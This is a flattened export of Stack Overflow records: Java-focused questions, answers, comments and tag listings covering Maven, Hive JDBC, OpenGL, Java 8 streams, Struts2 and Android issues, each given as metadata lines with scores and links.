has body: I am using eclipse kepler version.When i tried to convert a dynamic web project to maven, pom.xml showed the following exception: Could not calculate build plan: Plugin org.apache.maven-war-plugin:2.3 or one of its dependencies could not be resolved.Failed to read artifact description for org.apache.maven.plugins:maven-war-plugin:jar:2.3 Can anyone please tell me what should i do about it. I went through similar type of question asked by other users, there it was told to change something in settings.xml file in repository folder.But when i went to .m2/repository folder, i could not find any settings.xml file. Seems to me there is no settings.xml file there.
tagged with: spring
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/33822346
answer count: 0
tagged with: maven
has comment: http://stackoverflow.com/comment/33830425
type: Question
tagged with: java
has comment: http://stackoverflow.com/comment/33822222
tagged with: eclipse
has title: pom.xml gives exception while converting a dynamic web project to maven project
has comment: http://stackoverflow.com/comment/33821874
score: 0
has comment: http://stackoverflow.com/comment/33821710

http://stackoverflow.com/a/22284092
has comment: http://stackoverflow.com/comment/34387576
score: 1
upvote count: 1
has body: You should use absolute path names to the JSPs, unless you know what are you doing /jsp/rams/result/viewList.jsp
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22282763
type: Answer
accepted answer of: http://stackoverflow.com/q/22282763

http://stackoverflow.com/a/22288465
score: 1
has body: First answer is absolutely correct, but if you really want to have only one constructor for all these cases, you can write something like this: public Client(String name, Integer age, Integer amount) { this.name = name; if (age != null) { this.age = age; } if (amount != null) { this.amount = amount; } } Usage: Client c1 = new Client("Smith", null, null); Client c2 = new Client("Smith", 20, null); Client c3 = new Client("Smith", null, 100); Client c4 = new Client(null, 20, 100); Client c5 = new Client("Smith", 20, 100); Pay attention that I used wrapper class Integer instead of int in constructor arguments because variable of int type can't be null. Also, if you make your setters return this, you'll simulate kind of named arguments in Java: new Client().setName("Smith").setAge(20).setAmount(100)
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22287988
answers question: http://stackoverflow.com/q/22287988
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/q/22316070
downvote count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33911289
type: Question
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33911207
accepted answer: http://stackoverflow.com/a/22316214
possible better answer: http://stackoverflow.com/a/22316188
has answer: http://stackoverflow.com/a/22316214
has answer: http://stackoverflow.com/a/22316188
has comment: http://stackoverflow.com/comment/33911098
has comment: http://stackoverflow.com/comment/33911197
favorite count: 0
has body: i'm having trouble solving this problem. Lets say I have a Stack&lt;P&gt; board = new Stack[3][3]; and I initialized each row and column to have an empty stack. And lets see I pushed a P object onto board[1][2].push(P). I know that I'm able to access the top of this stack using the simple method board[1][3].peek(); This would return the top element with the type P. This is where the problem is. I'm told to write a function called... public int getTopPiece(int row, int col) which returns an integer with the value of that top object called P. Any advice? P is an object that holds 2 integers, 1 indicating the value of the piece and the second the value of the player.
has comment: http://stackoverflow.com/comment/33911146
has comment: http://stackoverflow.com/comment/33911230
has title: Convert object type to integer
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/34549533
type: AnswerComment
score: 2
type: Comment
has text: If you dig deeper into the documentation at http://www.liquibase.org/documentation/changes/insert.html, it will show for each command and each database, whether autorollback works. For example, the insert command http://www.liquibase.org/documentation/changes/insert.html does not support autorollback for any database.
comment on: http://stackoverflow.com/a/22302038

http://stackoverflow.com/q/22179086
tagged with: java
has comment: http://stackoverflow.com/comment/33888519
type: Question
has comment: http://stackoverflow.com/comment/33689847
has comment: http://stackoverflow.com/comment/33887279
tagged with: struts2
tagged with: servlets
possible better answer: http://stackoverflow.com/a/22179358
score: 0
answer count: 2
has title: Use common JSP with a custom Servlet and Struts 2
tagged with: jsp
accepted answer: http://stackoverflow.com/a/22303728
has answer: http://stackoverflow.com/a/22303728
has comment: http://stackoverflow.com/comment/33888022
has answer: http://stackoverflow.com/a/22179358
type: AnsweredQuestion
has body: (Oups.. Sorry for my english :) ) In my web application, Struts2 is used as the main Servlet dispatcher and filter. But For some reasons, i have a custom filter and a custom servlet used for a specific url "/book". But I have some commons jsp... i had some issues when the custom Servlet should display my request attributes in the JSP because of the struts tags (implemented before). So i changed these tag by the jstl taglibs and it works now. But... In one JSP, the main (lol)... I have a search form.. This JSP is included in several JSPs and could be called by Struts and the custom Servlet.. With only Struts the tag was "< s:form>.." and when the form was submitted, all sended values was kept in the input... But now, because of the custom Servlet i use a simple html form which is calling the struts action "search.do". As source code is below: <form method="post" action="<c:out value="${contextPath}"/>/search.do" name="search" id="search"> Crit1 Crit2 Crit3 My problem is the search word and the selected option are refreshed after the submit. I need to keep them ! Is there a way to use the struts taglibs with a Standard Servlet ? Or Do you have another solution to keep the submitted information ? Thanks all !

acm.graphics
tag name: acm.graphics
type: Tag
tags question: http://stackoverflow.com/q/22264915

http://stackoverflow.com/comment/33850646
comment on: http://stackoverflow.com/a/22282414
score: 0
type: AnswerComment
has text: nice answer, can you add little explanation about why `volatile` needed, and why two null check.
type: Comment

android-intent
tags question: http://stackoverflow.com/q/22272410
tags question: http://stackoverflow.com/q/22226757
tags question: http://stackoverflow.com/q/22312849
tags question: http://stackoverflow.com/q/22214899
tags question: http://stackoverflow.com/q/22216811
tags question: http://stackoverflow.com/q/22299519
tags question: http://stackoverflow.com/q/22260001
tags question: http://stackoverflow.com/q/22279154
tags question: http://stackoverflow.com/q/22206563
tags question: http://stackoverflow.com/q/22323752
tags question: http://stackoverflow.com/q/22177330
type: Tag
tags question: http://stackoverflow.com/q/22301691
tags question: http://stackoverflow.com/q/22270231
tag name: android-intent
tags question: http://stackoverflow.com/q/22317384
tags question: http://stackoverflow.com/q/22264538
tags question: http://stackoverflow.com/q/22275471
tags question: http://stackoverflow.com/q/22324520
tags question: http://stackoverflow.com/q/22254204
tags question: http://stackoverflow.com/q/22188230
tags question: http://stackoverflow.com/q/22263639
tags question: http://stackoverflow.com/q/22278041
tags question: http://stackoverflow.com/q/22229544

http://stackoverflow.com/q/22216694
tagged with: hive
type: Question
score: 1
tagged with: java
tagged with: hadoop
has comment: http://stackoverflow.com/comment/33731465
tagged with: sql
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/28689932
favorite count: 0
has title: jdbc to hive connection refused
has comment: http://stackoverflow.com/comment/33731908
tagged with: jdbc
has body: I am trying to connect to hive via jdbc. Below is the code i am using: import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.sql.Connection; public class HiveToJava { private static String driverName = "org.apache.hadoop.hive.jdbc.HiveDriver"; /** * @param args * @throws SQLException */ public static void main(String[] args) throws SQLException { try { Class.forName(driverName); } catch (ClassNotFoundException e) { e.printStackTrace(); System.exit(1); } Connection con = DriverManager.getConnection( "jdbc:hive://localhost:10000/default", "", ""); Statement stmt = con.createStatement(); String tableName = "processed"; ResultSet res = stmt.executeQuery("describe " + tableName); while (res.next()) { System.out.println(res.getString(1) + "\t" + res.getString(2)); } } } When I run this class as a Java application, I get this msg : Exception in thread "main" java.sql.SQLException: Could not establish connection to localhost:10000/default: java.net.ConnectException: Connection refused Please help.
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/33731467

http://stackoverflow.com/q/22215590
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33755112
has comment: http://stackoverflow.com/comment/33729949
type: Question
has body: I am using OpenGL 3.2 in Java via LWJGL, and have discovered that using glRotate is no longer possible. So, I coded up some rotation matrices to handle rotating. The only problem is that they are scaling the objects when they are rotated, and I can't figure out why. My matrix creator: Matrix4f rmat = new Matrix4f(); // identity float c = (float) Math.cos(theta); float s = (float) Math.sin(theta); rmat.m00 = c; rmat.m11 = c; rmat.m10 = s; rmat.m01 = -s; The result is a scaled image, I am not sure how much. The difference is noticeable in this picture: Does anyone know why this is going on or how to fix it? NB: This is part of a very large internal library, I am not sure how much could be extracted into an example. Feel free to run the RotationTest class that produced the image from here. Sorry that there isn't a jar, but the library doesn't play nice with jars right now.
has title: Rotation matrix is scaling
has comment: http://stackoverflow.com/comment/33751107
has comment: http://stackoverflow.com/comment/33730055
downvote count: 0
has comment: http://stackoverflow.com/comment/33770854
tagged with: matrix
favorite count: 0
has comment: http://stackoverflow.com/comment/33730204
answer count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/33737363
tagged with: opengl

http://stackoverflow.com/q/22308823
tagged with: java
has comment: http://stackoverflow.com/comment/33898903
has comment: http://stackoverflow.com/comment/33898433
has answer: http://stackoverflow.com/a/24448318
has body: I often want to map one list into another list. For example if I had a list of people, and I wanted a list of their names, I would like to do: GOAL List&lt;Person&gt; people = ... ; List&lt;String&gt; names = people.map(x -&gt; x.getName()); Something like this is possible with Java 8: JAVA 8 VERSION List&lt;String&gt; names = people.stream() .map(x -&gt; x.getName()) .collect(Collectors.toList()); But this is clearly not as nice. In fact, I think using Guava is cleaner: GUAVA VERSION List&lt;String&gt; names = Lists.transform(people, x -&gt; x.getName()); However, I do like chaining. So, is my goal possible? I have heard people say that Java 8 default methods are similar to C# extension methods. With a C# extension method, I could easily add a helper method to IEnumerable&lt;T&gt;: public static IEnumerable&lt;TRet&gt; Map&lt;T, TRet&gt;(this IEnumerable&lt;T&gt; list, Func&lt;T, TRet&gt; selector) { return list.Select(selector); } However I can't figure out how to use default methods to extend an existing interface. Also, this is obviously a trivial example. In general, I would like to be able to extend the List&lt;T&gt; and Iterable&lt;T&gt; interfaces to make interacting with the streams api easier.
has answer: http://stackoverflow.com/a/22309244
type: Question
has comment: http://stackoverflow.com/comment/33898519
tagged with: default-method
has comment: http://stackoverflow.com/comment/33899031
upvote count: 13
has comment: http://stackoverflow.com/comment/33899277
has answer: http://stackoverflow.com/a/22332654
has comment: http://stackoverflow.com/comment/33899378
favorite count: 0
has answer: http://stackoverflow.com/a/22308874
accepted answer: http://stackoverflow.com/a/22308874
score: 13
has title: Extending List<T> in Java 8
tagged with: lambda
tagged with: java-8
answer count: 4
type: AnsweredQuestion
tagged with: guava
possible better answer: http://stackoverflow.com/a/22332654
downvote count: 0

jvm
tags question: http://stackoverflow.com/q/22247827
tags question: http://stackoverflow.com/q/22223476
tags question: http://stackoverflow.com/q/22280322
tags question: http://stackoverflow.com/q/22200485
tags question: http://stackoverflow.com/q/22246832
tags question: http://stackoverflow.com/q/22220936
type: Tag
tags question: http://stackoverflow.com/q/22322033
tags question: http://stackoverflow.com/q/22275778
tags question: http://stackoverflow.com/q/22328143
tags question: http://stackoverflow.com/q/22239346
tags question: http://stackoverflow.com/q/22182669
tags question: http://stackoverflow.com/q/22228456
tags question: http://stackoverflow.com/q/22249869
tags question: http://stackoverflow.com/q/22174710
tags question: http://stackoverflow.com/q/22223139
tag name: jvm
tags question: http://stackoverflow.com/q/22323530
tags question: http://stackoverflow.com/q/22178874
tags question: http://stackoverflow.com/q/22305686
tags question: http://stackoverflow.com/q/22213149
tags question: http://stackoverflow.com/q/22206487
tags question: http://stackoverflow.com/q/22260508
tags question: http://stackoverflow.com/q/22230906
tags question: http://stackoverflow.com/q/22219766
tags question: http://stackoverflow.com/q/22279279

http://stackoverflow.com/q/22306536
possible better answer: http://stackoverflow.com/a/22306766
has title: How to disable startup applet warning dialog?
has body: I have SELF-signed applet. Is it possible to see only next message from Java (which happens only once) NOT THIS (which happens everytime when I load applet) Maybe adding something to java.policy or java.security ? Or disable this in Java Console. If somebody familiar with this, kindly help me :) If you are not familiar with this messages, read this please: What should I do when I see a security prompt from Java? Thanks in advance.
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22323556
type: Question
tagged with: dialog
has answer: http://stackoverflow.com/a/22306766
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/22323556
tagged with: applet

http://stackoverflow.com/a/22267820
has comment: http://stackoverflow.com/comment/33824159
has comment: http://stackoverflow.com/comment/33824322
upvote count: 0
type: Answer
has body: Keep in mind that --elementCount does the assignment before decrement. That means the fragment: final int index = --elementCount; final E obj = (E) elementData[index]; elementData[index] = null; Can be translated into final int index = elementCount; elementCount--; final E obj = (E) elementData[index]; elementData[index] = null; Which means in your proposed replacement "elementData[--elementCount]" and "elementData[elementCount]" do not reference the same item. Your proposed replacement is not equivalent. Hope this helps.
downvote count: 1
score: -1
answers question: http://stackoverflow.com/q/22267672

http://stackoverflow.com/comment/33650892
type: Comment
comment on: http://stackoverflow.com/a/22171726
has text: Is milk and coffee executed async? `void call` uses a loop inside.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33750162
type: QuestionComment
has text: sorry for delayed response, i am using gradle 1.1 which is suggested by the project organization and i also pastd only the part of the file here due to problem with posting whole file
score: 0
comment on: http://stackoverflow.com/q/22213328
type: Comment

http://stackoverflow.com/q/22295903
possible better answer: http://stackoverflow.com/a/22295963
upvote count: 5
tagged with: java
has answer: http://stackoverflow.com/a/22295963
type: Question
has body: I'm new to Google Drive Android API, and I'm learning it. But I encountered a problem that is I cannot delete a file using Google Drive Android API, there isn't an example of it. Can anybood help me with this question? Thanks alot.
score: 3
tagged with: android
has answer: http://stackoverflow.com/a/22368859
favorite count: 0
tagged with: google-drive-api
tagged with: google-drive-android-api
has answer: http://stackoverflow.com/a/22304919
answer count: 5
tagged with: google-api
downvote count: 2
accepted answer: http://stackoverflow.com/a/22368859
has answer: http://stackoverflow.com/a/53426499
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/30522776
has title: How to delete a file on google drive using Google Drive Android API

http://stackoverflow.com/comment/33769412
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22230867
has text: @KevinK Unfamiliarity alone would not be a reason, of course - and I did not say something like this. But only mentioning that this *can* be solved with reflection (without any word of warning) will cause the asker do this, regardless of whether it is the appropriate solution for his case (and we both know that it is almost certainly *not* appropriate!). When someone wants to shoot himself in the foot, you can give him a gun, but maybe there are also other ways of *helping* someone. I should have elaborated my answer more - that's certainly true - so the downvote may be justified nevertheless
score: 0

http://stackoverflow.com/comment/33811359
has text: You're currently calling `equals` but not doing anything with the result - and you don't want to compare the *iterator* with the item anyway. You probably don't want the iterator at all - just use the for loop and check whether or not it's the right one with an `if` statement.
score: 0
comment on: http://stackoverflow.com/q/22260564
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33672370
has text: I don't knew that! I edit the post with the LogCat!
comment on: http://stackoverflow.com/q/22183584
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33863271
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22288296
score: 0
has text: @nachokk: yep, but then it will be observed by the control, which is why I placed the "indirectly" bit above.

http://stackoverflow.com/a/22172826
accepted answer of: http://stackoverflow.com/q/22170115
has body: For such a simple action I'd just use a JavaScript instead of a java Action. Install the JavaScript addon from googlecode or github (newer version) And just write your Javascript code according the api and run it in runtime in the console to test your code.
downvote count: 0
answers question: http://stackoverflow.com/q/22170115
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/22288754
type: Answer
score: 2
has body: Attempting to optimise code which doesn't need to be optimised increases complexity and decreases readability. However, there are cases were improving readability also comes with improved performance. For example, if a numeric value cannot be null, use a primitive instead of a wrapper. This makes it clearer that the value cannot be null but also uses less memory and reduces pressure on the GC. use a Set when you have a collection which cannot have duplicates. Often a List is used when in fact a Set would be more appropriate, depending on the operations you perform, this can also be faster by reducing time complexity. consider using an enum with one instance for a singleton (if you have to use singletons at all) This is much simpler as well as faster than double check locking. Hint: try to only have stateless singletons. writing simpler, well structured code is also easier for the JIT to optimise. This is where trying to out smart the JIT with more complex solutions will back fire because you end up confusing the JIT and what you think should be faster is actually slower. (And it's more complicated as well) try to reduce how much you write to the console (and IO in general) in critical sections. Writing to the console is so expensive, both for the program and the poor human having to read it that is it worth spending more time producing concise console output. try to use a StringBuilder when you have a loop of elements to add. Note: Avoid using StringBuilder for one liners, just series of append() as this can actually be slower and harder to read. Perfection is achieved, not when there is nothing more to add, but when there is nothing left to take away. -- Antoine de Saint-Exupery, French writer (1900 - 1944) Developers like to solve hard problems and there is a very strong temptation to solve problems which don't need to be solved. This is a very common behaviour for developers of up to 10 years experience (it was for me anyway ;), after about this point you have al…
downvote count: 0
answers question: http://stackoverflow.com/q/22288095
upvote count: 2

http://stackoverflow.com/comment/33685626
type: AnswerComment
has text: Thanks a lot.. I have one last doubt.. As it is related to this question only and the exercise which I am doing currently.. I am using this `importantColumnData` value to make a call against database and then whatever response I am getting back from database, I am storing them in `data` variable.. And then I am using this data variable to iterate and then show the data in a `newTable`. And with that I am facing an issue.. See if you can help out.. I thought I can directly use your solution which will get integrated in my solution but somehow I was wrong.. See if you can help out..
type: Comment
comment on: http://stackoverflow.com/a/22190314
score: 0

http://stackoverflow.com/comment/33859539
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22286421
type: QuestionComment
has text: There are many Java implementations of binary search widely available if you do not want to write or test your own. If the only implementation you can find in the JDK will only work on arrays of objects -- i.e. no arrays of say `int`, `char`, or `double` -- and only if they implement `Comparable`, then look elsewhere unless you really want the implementation details of a collection injecting itself into the classes you write.

http://stackoverflow.com/comment/33853280
type: QuestionComment
comment on: http://stackoverflow.com/q/22283892
score: 0
has text: 100! is an absolutely massive number. Too big for any programming language to naturally store. For that number, you're going to have to stick with exponential notation.
type: Comment

http://stackoverflow.com/comment/33814371
has text: Please note that tags are not keywords. Stuffing the tag list full of the same words that are in your question (conditional, statement, return, value) will not help categorize it. Always be sure to read the descriptions that appear when selecting tags!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22258951
score: 0

http://stackoverflow.com/q/22298206
accepted answer: http://stackoverflow.com/a/22298324
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22298324
has body: I am trying to make a program that makes a list of arrays with different entries. There are two classes: Class1 shall contain an array1 full of (seven) 0's; In Class1 shall be a method that fills a list of seven Class2's; Each of them shall contain an array that has six 0's and one 1 at different locations, like this: Class2 number1: 1, 0, 0, 0, 0, 0, 0. Class2 number2: 0, 1, 0, 0, 0, 0, 0. and so on. Then, I want to print all the entries. So that is what it should look like: 1 0 0 0 0 0 0 (end of Class2 number 1) 0 1 0 0 0 0 0 (end of Clas2 number 2) And so on, until it prints the array of the one and only instance of Class1 that I used. 0 0 0 0 0 0 0 But instead, it just prints a long row of 1's. My Code: Class1: import java.util.ArrayList; import java.util.List; public class Class1{ int[] array1 = new int[7]; public Class1(){ for (int i = 0; i &lt; 7; i++){ array1[i] = 0; } } public List&lt;Class2&gt; list(){ List&lt;Class2&gt; returnlist = new ArrayList&lt;Class2&gt;(); for (int i = 0; i &lt; 7; i++){ returnlist.add(new Class2(array1, i, 1)); } return returnlist; } } Second Class: public class Class2{ int[] array2 = new int[7]; public Class2(int[] array, int index, int number){ array2 = array; if (index &gt;= 0 &amp;&amp; index &lt; array2.length){ array2[index] = number; } } } Main Class: public class Main{ public static void main (String[] args){ Class1 class1 = new Class1(); for (int i = 0; i &lt; 7; i++){ for (int j = 0; j &lt; 7; j++){ System.out.println(class1.list().get(i).array2[j]); } } for (int i = 0; i &lt; 7; i++){ System.out.println(class1.array1[i]); } } }
has title: Java: List and Array fill each other in wrong way
type: AnsweredQuestion
tagged with: java
tagged with: eclipse
type: Question

http://stackoverflow.com/a/22258751
type: Answer
has comment: http://stackoverflow.com/comment/33808359
has comment: http://stackoverflow.com/comment/33808008
answers question: http://stackoverflow.com/q/22258464
has body: EDIT: I don't think that my solution works either. If you are updating the label using Numbers.setText(""+i); then you need to call revalidate/repaint on the panel that contains the label panel.revalidate(); panel.repaint();
has comment: http://stackoverflow.com/comment/33808086
has comment: http://stackoverflow.com/comment/33808449
score: 0
has comment: http://stackoverflow.com/comment/33808599
has comment: http://stackoverflow.com/comment/33808909

http://stackoverflow.com/q/22323459
has comment: http://stackoverflow.com/comment/33925592
score: -3
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22323625
has answer: http://stackoverflow.com/a/22323652
tagged with: java
downvote count: 3
has body: I've looked around and came up with this solution, but it doesn't seem to be working. Does anyone have an idea? I need to get a number from the user that is only 3 digits and positive. after that, to reverse the 3 digits. what i wrote below only give me the last digit out of the three that I need. int reversedNum=0; Scanner scan = new Scanner (System.in); System.out.println("Please enter a 3 digit positive number whose first and last digits are different: "); int userNumber = scan.nextInt(); if (userNumber &gt;= 100 &amp;&amp; userNumber &lt;= 999) { System.out.println("User number is: " + userNumber); reversedNum = (reversedNum*10) + (userNumber%10); userNumber = userNumber/10; System.out.println("Difference "+reversedNum); } else System.out.println("The number you entered is not a 3 digit positive number");
has comment: http://stackoverflow.com/comment/33923506
type: Question
accepted answer: http://stackoverflow.com/a/22323625
has comment: http://stackoverflow.com/comment/33923615
linked to: http://stackoverflow.com/q/3806126
has answer: http://stackoverflow.com/a/22323668
has answer: http://stackoverflow.com/a/22323604
has title: reversing digits numbers in java
has comment: http://stackoverflow.com/comment/33923533
duplicate of: http://stackoverflow.com/q/3806126
possible better answer: http://stackoverflow.com/a/22323604
upvote count: 0
favorite count: 0

http://stackoverflow.com/comment/33780507
type: AnswerComment
score: 0
type: Comment
has text: Yeh i have given my Json plese chek and also can you please tell me where to add Onclick and pass the function
comment on: http://stackoverflow.com/a/22243204

http://stackoverflow.com/comment/33676580
has text: @mttdbrd yes and 7, 8, and 9, which are all in the same branch of the tree if you draw it out. They are in the same branch as previous, but I can't tell why that's happening.
score: 0
comment on: http://stackoverflow.com/q/22184921
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33685427
type: Comment
has text: yes... it exists.. what is the output System.out.println("s:: "+stdout.readLine()); At my end it is null... Tha batch file also works fine at my end and does what it is supposed to do.. but i can not see the ouput in the swing frame
score: 0
comment on: http://stackoverflow.com/q/22190480
type: QuestionComment

teradata
type: Tag
tag name: teradata
tags question: http://stackoverflow.com/q/22238503
tags question: http://stackoverflow.com/q/22230594
tags question: http://stackoverflow.com/q/22234465
tags question: http://stackoverflow.com/q/22272388
tags question: http://stackoverflow.com/q/22241433
tags question: http://stackoverflow.com/q/22237566

http://stackoverflow.com/a/22279773
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22279730
upvote count: 1
has body: Try this File file = new File("C:/test.text"); f.createNewFile();

http://stackoverflow.com/a/22322030
has body: The class java.util.Timer has exactly what you need: First, set-up the task to be scheduled: TimerTask task = new TimerTask() { void run() { //do the task } }; Second, schedule the task: Date futureDate = ...///whenever you want Timer timer = new Timer(); timer.schedule(task, futureDate);
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22321802
upvote count: 3
score: 3

http://stackoverflow.com/q/22245817
tagged with: java
tagged with: hibernate
score: -1
has title: How to connect with two database instances?
has answer: http://stackoverflow.com/a/22246482
answer count: 2
upvote count: 0
tagged with: jpa
favorite count: 0
has comment: http://stackoverflow.com/comment/33784176
has comment: http://stackoverflow.com/comment/33785522
has body: Unable to get results from many to one relation I have two database: @PersistenceContext(unitName = "admin") public void setAdminEntityManager(EntityManager entityManager) { this.entityManager = entityManager; } @PersistenceContext(unitName = "user") public void setUserEntityManager(EntityManager entityManager) { this.entityManager = entityManager; } ---------------------------------------------- @Entity @Table(name = "cd_state") @NamedQueries({ @NamedQuery(name = "State.findAll", query = "Select s from State s order by s.stateName ASC "), }) public class State { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long stateId; private String stateCode; private String stateName; @ManyToOne @JoinColumn(name = "countryId", insertable = false, updatable = false) private Country country; private Boolean isActive; private Long countryId; getters and setters// } country belongs to admin databases:: ----------------------------- public List&lt;User&gt; getAllUsers() { TypedQuery&lt;User&gt; query = getuserEntityManager().createNamedQuery(FIND_ALL_USERS, User.class); List&lt;User&gt; list = query.getResultList(); return list; } it throws exception.not connecting to admin database.
type: UnansweredQuestion
tagged with: spring
has comment: http://stackoverflow.com/comment/33785102
has comment: http://stackoverflow.com/comment/33784295
has answer: http://stackoverflow.com/a/22247905
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/15008809

http://stackoverflow.com/comment/33930539
comment on: http://stackoverflow.com/a/22327101
has text: @MarcoAcierno thanks for hint, user3406298 see my updates above.
score: 0
type: AnswerComment
type: Comment

sorting
tags question: http://stackoverflow.com/q/22221545
tags question: http://stackoverflow.com/q/22316607
tags question: http://stackoverflow.com/q/22313288
tags question: http://stackoverflow.com/q/22213273
tags question: http://stackoverflow.com/q/22222100
tags question: http://stackoverflow.com/q/22222388
tags question: http://stackoverflow.com/q/22313598
tags question: http://stackoverflow.com/q/22300542
tags question: http://stackoverflow.com/q/22274546
tags question: http://stackoverflow.com/q/22314009
tags question: http://stackoverflow.com/q/22275541
tags question: http://stackoverflow.com/q/22298432
type: Tag
tags question: http://stackoverflow.com/q/22275513
tags question: http://stackoverflow.com/q/22229762
tags question: http://stackoverflow.com/q/22171082
tags question: http://stackoverflow.com/q/22309614
tags question: http://stackoverflow.com/q/22241502
tags question: http://stackoverflow.com/q/22308429
tags question: http://stackoverflow.com/q/22266112
tags question: http://stackoverflow.com/q/22233736
tags question: http://stackoverflow.com/q/22204461
tags question: http://stackoverflow.com/q/22328181
tag name: sorting
tags question: http://stackoverflow.com/q/22275208
tags question: http://stackoverflow.com/q/22210802
tags question: http://stackoverflow.com/q/22312918
tags question: http://stackoverflow.com/q/22239772
tags question: http://stackoverflow.com/q/22190404
tags question: http://stackoverflow.com/q/22284906
tags question: http://stackoverflow.com/q/22227087

http://stackoverflow.com/a/22300394
has body: GeoPoint, MapView are few of the Classes that doesn't exists in your classpath. Add them to your claasspath. Update: Assuming you are using Eclipse, do the following in order to import Google Map APIs Right click on your project Select Properties Select Android, check for Google APIs for Platform (your version).
answers question: http://stackoverflow.com/q/22300057
has comment: http://stackoverflow.com/comment/33896635
score: 0
type: Answer

http://stackoverflow.com/comment/33784745
type: Comment
has text: Did not know that this is the old one. I was just looking for a tutorial and this one was looking good for me. So i posted this link. But thanks for the info :P Most times i find the old wiki first and the tutorials are almost the same
comment on: http://stackoverflow.com/a/22230181
score: 0
type: AnswerComment

http://stackoverflow.com/q/22257062
type: Question
tagged with: jackson
has title: Can't find source of NullPointerException
score: 0
tagged with: android
answer count: 1
has comment: http://stackoverflow.com/comment/33804614
accepted answer: http://stackoverflow.com/a/22257142
has answer: http://stackoverflow.com/a/22257142
type: AnsweredQuestion
tagged with: java
has body: So I'm sure I'm missing something extremely obvious here, but can anyone see the source of this NullPointerException? It occurs in the line for(ContactInfo contact: contactArray) The relevant code is below: private class DownloadJSONData extends AsyncTask&lt;String, Void, ContactInfo[]&gt; { @Override protected ContactInfo[] doInBackground(String... jsonURL) { mapper = new ObjectMapper(); //Set URL where JSON Data exists URL url = null; try { url = new URL(jsonURL[0]); } catch (MalformedURLException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } //Bind JSON data to ConactInfo Array try { contactArray = mapper.readValue(url, ContactInfo[].class); } catch (JsonParseException e) { e.printStackTrace(); } catch (JsonMappingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } for(ContactInfo contact: contactArray) { //Get URL from each ContactInfo object String imageSource = contact.getSmallImageURL(); //Download bitmaps into bitmapArray try { bitmapArray.add(downloadBitmap(imageSource)); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return null; } Any variables you see non-instantiated are instantiated as global variables for use in other methods. The only thing I can think of is somehow the mapper method isn't mapping anything into contactArray (which is a ContactInfo[] object.)

http://stackoverflow.com/q/22273758
has comment: http://stackoverflow.com/comment/33835073
score: 0
tagged with: id3
has comment: http://stackoverflow.com/comment/33834994
type: AnsweredQuestion
tagged with: metadata
tagged with: java
has body: I am working on a Java app that will find songs and rename them based on user input and ID3 metadata. I have found quite a few Java libraries for editing/retrieving song metadata from a file but I'm wondering if there is some online database with ID3 tag information that my program could interact with. For example say there is a file WeWillRockYou.mp3 The file name is the title but the metadata is empty or wrong Is there somewhere to look up the metadata online (to fill in Artist=Queen etc)? Or is this something that will require paying for a service?
tagged with: http://stackoverflow.com/tag/mp3
type: Question
has title: MP3 Metadata look up API for Java (Find ID3 data)
has answer: http://stackoverflow.com/a/22510848
accepted answer: http://stackoverflow.com/a/22510848
answer count: 1
tagged with: database

http://stackoverflow.com/a/22313420
has comment: http://stackoverflow.com/comment/33906581
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22313381
answers question: http://stackoverflow.com/q/22313381
type: Answer
has comment: http://stackoverflow.com/comment/33906728
has body: What is the unique identifier for a ship? You can simply create a hashmap using that unique identifier as the key and the ship instance as the value. In addition, there is nothing preventing you from using a MultiMap to store a collection of values at each key if that makes semantic sense. But this question is rather poorly defined with respect to what you actually want this 'log' to do.
has comment: http://stackoverflow.com/comment/33906604
score: 0

matlab
tags question: http://stackoverflow.com/q/22271568
tags question: http://stackoverflow.com/q/22245239
tags question: http://stackoverflow.com/q/22239711
tags question: http://stackoverflow.com/q/22262998
tags question: http://stackoverflow.com/q/22267868
type: Tag
tag name: matlab
tags question: http://stackoverflow.com/q/22315281
tags question: http://stackoverflow.com/q/22265872

http://stackoverflow.com/a/22242918
